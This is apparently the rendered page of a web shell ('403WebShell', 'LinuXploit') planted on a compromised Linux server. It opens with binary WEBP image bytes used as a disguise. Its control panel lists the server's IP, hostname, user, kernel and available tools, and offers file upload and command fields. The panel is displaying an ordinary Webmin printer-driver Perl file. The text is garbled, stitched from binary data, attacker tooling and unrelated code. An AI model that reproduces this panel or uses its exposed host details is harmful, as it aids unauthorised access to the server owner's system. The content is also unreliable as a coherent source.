....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 217.79.180.202  /  Your IP : 216.73.216.107
Web Server : Apache
System : Linux vps2460721.fastwebserver.de 5.15.0-122-generic #132-Ubuntu SMP Thu Aug 29 13:45:52 UTC 2024 x86_64
User : tecnoelite ( 1001)
PHP Version : 8.1.2-1ubuntu2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/lpadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/webmin/lpadmin/printconf-driver.pl
# printconf-driver.pl
# Functions for printer drivers as created by redhat 7.1

$mf_wrapper = "/usr/share/printconf/mf_wrapper";
@overview_files = ( "/usr/share/printconf/foomatic/data/00-overview.foo",
		    "/usr/share/printconf/foomatic/rh-data/00-overview.foo" );
$mfomatic = "/usr/share/printconf/foomatic/mfomatic";
$ps_wrapper= "/usr/share/printconf/util/mf_postscript_wrapper";
$text_filter = "pipe/postscript/ /usr/bin/mpage -b ifdef(`PAGEsize', PAGEsize, Letter) -1 -o -P- -";
$default_filter = "cat/text/";
$smb_driver = "/usr/share/printconf/smbprint";

@paper_sizes = ( 'Letter', 'Legal', 'Executive',
		 'A5', 'A4', 'A3' );

# is_windows_driver(path, &printer)
# Returns a driver structure if some path is a windows driver
sub is_windows_driver
{
local $sd = "$config{'spool_dir'}/$_[1]->{'name'}";
if ($_[1]->{'dev'} eq "|$smb_driver" && -r "$sd/script.cfg") {
	# Looks like a redhat SMB driver
	local %sconfig;
	&read_env_file("$sd/script.cfg", \%sconfig);
	$sconfig{'share'} =~ /^\\\\(.*)\\(.*)$/;
	return { 'server' => $1,
		 'share' => $2,
		 'user' => $sconfig{'user'},
		 'pass' => $sconfig{'password'},
		 'workgroup' => $sconfig{'workgroup'},
		 'program' => $_[0] };
	}
return undef;

}

# is_driver(path, &printer)
# Returns a structure containing the details of a driver
# XXX do we need to support old redhat drivers?
sub is_driver
{
if (!$_[0]) {
	return { 'mode' => 0,
		 'desc' => "$text{'redhat_none'}" };
	}
local $sd = "$config{'spool_dir'}/$_[1]->{'name'}";
if ($_[0] eq $mf_wrapper && -r "$sd/mf.cfg") {
	# Looks like a new printconf driver
	local %define;
	&read_m4_file("$sd/mf.cfg", \%define);
	if ($define{'PSfilter'} =~
	    /^filter\s+$ps_wrapper.*\s(\S+)-(\d+)\.foo$/) {
		# Has printer driver
		return { 'mode' => 1,
			 'driver' => $1,
			 'id' => $2,
			 'paper' => $define{'PAGEsize'},
			 'make' => $define{'MAKE'},
			 'model' => $define{'MODEL'},
			 'desc' => "$define{'MAKE'} $define{'MODEL'}" };
		}
	elsif ($define{'PSfilter'} =~ /^filter\s+$ps_wrapper\s*$/) {
		# Postscript printer
		return { 'mode' => 1,
			 'postscript' => 1,
			 'paper' => $define{'PAGEsize'},
			 'desc' => 'Postscript printer' };
		}
	elsif ($define{'PSfilter'} eq 'text' &&
	       $define{'TEXTfilter'} eq 'text') {
		# Text only printer
		return { 'mode' => 1,
			 'text' => 1,
			 'desc' => 'Text printer' };
		}
	}

# Some other kind of driver
return { 'mode' => 2,
	 'file' => $_[0],
	 'desc' => $_[0] };
}

# read_m4_file(file, &hash)
sub read_m4_file
{
open(CFG, "<".$_[0]);
while(<CFG>) {
	s/#.*$//; s/\r|\n//g;
	if (/^\s*define\(([A-Za-z0-9\_]+)\s*,\s*`([^']*)'\)/) {
		$_[1]->{$1} = $2;
		}
	elsif (/^\s*define\(([A-Za-z0-9\_]+)\s*,\s*([^\s\)]+)\)/) {
		$_[1]->{$1} = $2;
		}
	}
close(CFG);
}

# create_windows_driver(&printer, &driver)
# Creates a new windows printer driver
sub create_windows_driver
{
local $sd = "$config{'spool_dir'}/$_[0]->{'name'}";

# Create the config file and driver
local %sconfig;
&read_file("$sd/script.cfg", \%sconfig);
$sconfig{'share'} = "\\\\$_[1]->{'server'}\\$_[1]->{'share'}";
$sconfig{'hostip'} = $_[1]->{'server'} eq $config{'hostip'} ?
			$sconfig{'hostip'} : undef;
$sconfig{'user'} = $_[1]->{'user'};
$sconfig{'password'} = $_[1]->{'pass'};
$sconfig{'workgroup'} = $_[1]->{'workgroup'};
&lock_file($sd);
mkdir($sd, 0755);
&unlock_file($sd);
&open_lock_tempfile(ENV, ">$sd/script.cfg");
&print_tempfile(ENV, "share='$sconfig{'share'}'\n");
&print_tempfile(ENV, "hostip=$sconfig{'hostip'}\n");
&print_tempfile(ENV, "user='$sconfig{'user'}'\n");
&print_tempfile(ENV, "password='$sconfig{'password'}'\n");
&print_tempfile(ENV, "workgroup='$sconfig{'workgroup'}'\n");
&close_tempfile(ENV);

# Set the print device
$_[0]->{'dev'} = "|$smb_driver";
return $_[1]->{'program'};
}

# create_driver(&printer, &driver)
# Creates a new local printer driver and returns the path
sub create_driver
{
local ($prn, $drv) = @_;
if ($drv->{'mode'} == 0) {
	return undef;
	}
elsif ($drv->{'mode'} == 2) {
	return $drv->{'file'};
	}
else {
	# Create the config file
	local $sd = "$config{'spool_dir'}/$_[0]->{'name'}";
	mkdir($sd, 0755);
	&lock_file("$sd/mf.cfg");
	if ($drv->{'text'}) {
		%driver = ( 'MAKE', '',
			    'MODEL', '',
			    'COLOR', '',
			    'PAGEsize', $_[1]->{'paper'},
			    'TEXTfilter', 'text',
			    'PSfilter', 'text',
			    'PCLfilter', 'reject',
			    'PJLfilter', 'reject',
			    'DEFAULTfilter', $default_filter );
		}
	elsif ($drv->{'postscript'}) {
		%driver = ( 'MAKE', '',
			    'MODEL', '',
			    'COLOR', '',
			    'PAGEsize', $_[1]->{'paper'},
			    'TEXTfilter', $text_filter,
			    'PSfilter', "filter $ps_wrapper ",
			    'PCLfilter', 'cat',
			    'PJLfilter', 'cat',
			    'DEFAULTfilter', $default_filter );
		}
	else {
		local $base = "$drv->{'driver'}-$drv->{'id'}.foo";
		local $path;
		foreach $f (@overview_files) {
			local $d = $f; $d =~ s/\/[^\/]+$//;
			$path = "$d/$base" if (-r "$d/$base");
			}
		&system_logged("cp $path $sd");
		&read_m4_file("$sd/mf.cfg", \%driver);
		$driver{'MAKE'} = $drv->{'make'};
		$driver{'MODEL'} = $drv->{'model'};
		$driver{'COLOR'} = 'true';	# ???
		$driver{'PSfilter'} = "filter $ps_wrapper --mfomatic -d $base";
		$driver{'TEXTfilter'} = $text_filter;
		$driver{'PCLfilter'} = 'cat';
		$driver{'PJLfilter'} = 'cat';
		$driver{'PAGEsize'} = $_[1]->{'paper'};
		$driver{'DEFAULTfilter'} = $default_filter;
		}
	&open_tempfile(CFG, ">$sd/mf.cfg");
	foreach $d (keys %driver) {
		if ($driver{$d} =~ /`|'/) {
			&print_tempfile(CFG, "define($d, $driver{$d})dnl\n");
			}
		else {
			&print_tempfile(CFG, "define($d, `$driver{$d}')dnl\n");
			}
		}
	&close_tempfile(CFG);
	&unlock_file("$sd/mf.cfg");
	return $mf_wrapper;
	}
}

# delete_driver(name)
sub delete_driver
{
local $sd = "$config{'spool_dir'}/$_[0]";
unlink("$sd/mf.cfg", "$sd/account");
}

# driver_input(&printer, &driver)
sub driver_input
{
local ($prn, $drv) = @_;

printf "<tr> <td><input type=radio name=mode value=0 %s> %s</td>\n",
	$drv->{'mode'} == 0 ? "checked" : "", $text{'redhat_none'};
print "<td>($text{'redhat_nonemsg'})</td> </tr>\n";

printf "<tr> <td><input type=radio name=mode value=2 %s> %s</td>\n",
	$drv->{'mode'} == 2 ? "checked" : "", $text{'redhat_prog'};
printf "<td><input name=iface value=\"%s\" size=35></td> </tr>\n",
	$drv->{'mode'} == 2 ? $drv->{'file'} : "";

printf "<tr> <td valign=top><input type=radio name=mode value=1 %s>\n",
	$drv->{'mode'} == 1 ? "checked" : "";
print "$text{'redhat_driver'}</td> <td><table width=100%>";

print "<tr> <td valign=top><b>$text{'redhat_printer2'}</b></td>\n";
print "<td><select name=printer size=10 onChange='setdriver(0)'>\n";
printf "<option value=%s %s>%s</option>\n",
	'text', $drv->{'text'} ? 'selected' : '', "Text printer";
printf "<option value=%s %s>%s</option>\n",
	'postscript', $drv->{'postscript'} ? 'selected' : '',
	"Postscript printer";

local $list = &list_printconf_drivers();
local $select_driver = 0;
foreach $k (sort { lc($a) cmp lc($b) } keys %$list) {
	foreach $m (@{$list->{$k}}) {
		next if (!@{$m->{'drivers'}});
		printf "<option value='%s' %s>%s</option>\n",
			join(";", $m->{'id'}, @{$m->{'drivers'}}),
			$drv->{'make'} eq $k &&
			$drv->{'model'} eq $m->{'model'} ? 'selected' : '',
			"$k $m->{'model'}";
		if ($drv->{'make'} eq $k && $drv->{'model'} eq $m->{'model'}) {
			$select_driver = &indexof($drv->{'driver'},
						  @{$m->{'drivers'}});
			}
		}
	}
print "</select><select name=driver size=10 width=100></select></td> </tr>\n";

local $foundp = 0;
print "<tr> <td><b>$text{'redhat_paper'}</b></td> <td><select name=paper>\n";
print "<option value='' selected>$text{'redhat_none'}</option>\n" if (!$drv->{'paper'});
foreach $p (@paper_sizes) {
	printf "<option %s>%s</option>\n",
		$drv->{'paper'} eq $p ? 'selected' : '', $p;
	$foundp++ if ($drv->{'paper'} eq $p);
	}
printf "<option selected>$drv->{'paper'}</option>\n" if (!$foundp && $drv->{'paper'});
print "</select></td> </tr>\n";

print "</table></td></tr>\n";
return <<EOF;
<script>
function setdriver(sel)
{
var idx = document.forms[0].printer.selectedIndex;
var v = new String(document.forms[0].printer.options[idx].value);
var vv = v.split(";");
var driver = document.forms[0].driver;
driver.length = 0;
for(var i=1; i<vv.length; i++) {
	driver.options[i-1] = new Option(vv[i], vv[i]);
	}
if (driver.length > 0) {
	driver.options[sel].selected = true;
	}
}
setdriver($select_driver);
</script>
EOF
}

# parse_driver()
# Parse driver selection from %in and return a driver structure
sub parse_driver
{
if ($in{'mode'} == 0) {
	return { 'mode' => 0 };
	}
elsif ($in{'mode'} == 2) {
	(-x $in{'iface'}) || &error(&text('redhat_eprog', $in{'iface'}));
	return { 'mode' => 2,
		 'file' => $in{'iface'} };
	}
else {
	$in{'printer'} || &error($text{'redhat_edriver'});
	if ($in{'printer'} eq 'text') {
		return { 'mode' => 1,
			 'paper' => $in{'paper'},
			 'text' => 1 };
		}
	elsif ($in{'printer'} eq 'postscript') {
		return { 'mode' => 1,
			 'paper' => $in{'paper'},
			 'postscript' => 1 };
		}
	else {
		$in{'driver'} || &error($text{'redhat_edriver'});
		local @p = split(/;/, $in{'printer'});
		local $list = &list_printconf_drivers();
		local ($make, $model);
		foreach $k (keys %$list) {
			foreach $m (@{$list->{$k}}) {
				if ($m->{'id'} == $p[0]) {
					$make = $k;
					$model = $m->{'model'};
					}
				}
			}
		return { 'mode' => 1,
			 'paper' => $in{'paper'},
			 'id' => $p[0],
			 'make' => $make,
			 'model' => $model,
			 'driver' => $in{'driver'} };
		}
	}
}

# list_printconf_drivers()
sub list_printconf_drivers
{
local %rv;
foreach $ov (@overview_files) {
	next if (!-r $ov);
	local $VAR1;
	eval { do $ov };
	next if ($@);
	foreach $k (keys %$VAR1) {
		foreach $m (@{$VAR1->{$k}}) {
			push(@{$rv{$k}}, $m);
			}
		}
	}
return \%rv;
}


Youez - 2016 - github.com/yon3zu
LinuXploit